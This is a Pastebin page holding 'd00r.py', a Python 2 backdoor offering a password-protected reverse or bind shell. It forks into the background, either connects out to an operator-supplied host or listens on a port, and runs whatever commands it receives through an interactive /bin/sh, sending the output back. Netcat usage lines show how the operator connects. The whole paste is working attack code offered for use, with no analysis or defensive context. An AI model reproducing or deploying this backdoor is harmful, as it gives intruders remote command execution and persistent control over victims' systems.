ZmEu

HaqNET PYTHON Shell d00r.py

Feb 28th, 2011
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.02 KB | None | 0 0
  1. #!/usr/bin/env python
  2. # d00r.py 0.3a (reverse|bind)-shell in python
  3. # Usage:
  4. # % ./d00r -b password port
  5. # % ./d00r -r password port host
  6. # % nc host port
  7. # % nc -l -p port (please use netcat)
  8. import os, sys, socket, time
  9.  
  10. MAX_LEN=1024
  11.  
  12. SHELL="/bin/sh -i"
  13.  
  14. TIME_OUT=300 #s
  15.  
  16. PW=""
  17. PORT=""
  18. HOST=""
  19.  
  20. # shell - exec command, return stdout, stderr; improvable
  21. def shell(cmd):
  22. sh_out=os.popen(SHELL+" "+cmd).readlines()
  23. nsh_out=""
  24. for i in range(len(sh_out)):
  25. nsh_out+=sh_out[i]
  26. return nsh_out
  27. # action?
  28. def action(conn):
  29. conn.send("\nPassword:\n")
  30. try: pw_in=conn.recv(len(PW))
  31. except: print "[-] timeout"
  32. else:
  33. if pw_in == PW:
  34. conn.send("Your on!\n")
  35. while True:
  36. conn.send(">>> ")
  37. try:
  38. pcmd=conn.recv(MAX_LEN)
  39. except:
  40. print "timeout"
  41. return True
  42. else:
  43. cmd=""
  44. for i in range(len(pcmd)-1):
  45. cmd+=pcmd[i]
  46. if cmd==":dc":
  47. return True
  48. elif cmd==":sd":
  49. return False
  50. else:
  51. if len(cmd)>0:
  52. out=shell(cmd)
  53. conn.send(out)
  54. argv=sys.argv
  55. if len(argv)<4:
  56. print "error, help: head -n 16 d00r.py"
  57. sys.exit(1)
  58. elif argv[1]=="-b":
  59. PW=argv[2]
  60. PORT=argv[3]
  61. elif argv[1]=="-r" and len(argv)>4:
  62. PW=argv[2]
  63. PORT=argv[3]
  64. HOST=argv[4]
  65. else: exit(1)
  66. PORT=int(PORT)
  67. print "PW:",PW,"PORT:",PORT,"HOST:",HOST
  68.  
  69. #sys.argv[0]="d00r"
  70.  
  71. # exit father proc
  72. if os.fork()!=0:
  73. sys.exit(0)
  74. # associate the socket
  75. sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  76. sock.settimeout(TIME_OUT)
  77.  
  78. if argv[1]=="-b":
  79. sock.bind(('localhost', PORT))
  80. sock.listen(0)
  81. run=True
  82. while run:
  83. if argv[1]=="-r":
  84. try: sock.connect( (HOST, PORT) )
  85. except:
  86. print "host unreachable"
  87. time.sleep(5)
  88. else: run=action(sock)
  89. else:
  90. try: (conn,addr)=sock.accept()
  91. except:
  92. print "timeout"
  93. time.sleep(1)
  94. else: run=action(conn)
  95. # shutdown the sokcet
  96. if argv[1]=="-b": conn.shutdown(2)
  97. else:
  98. try: sock.send("")
  99. except: time.sleep(1)
  100. else: sock.shutdown(2)
Add Comment
Please, Sign In to add comment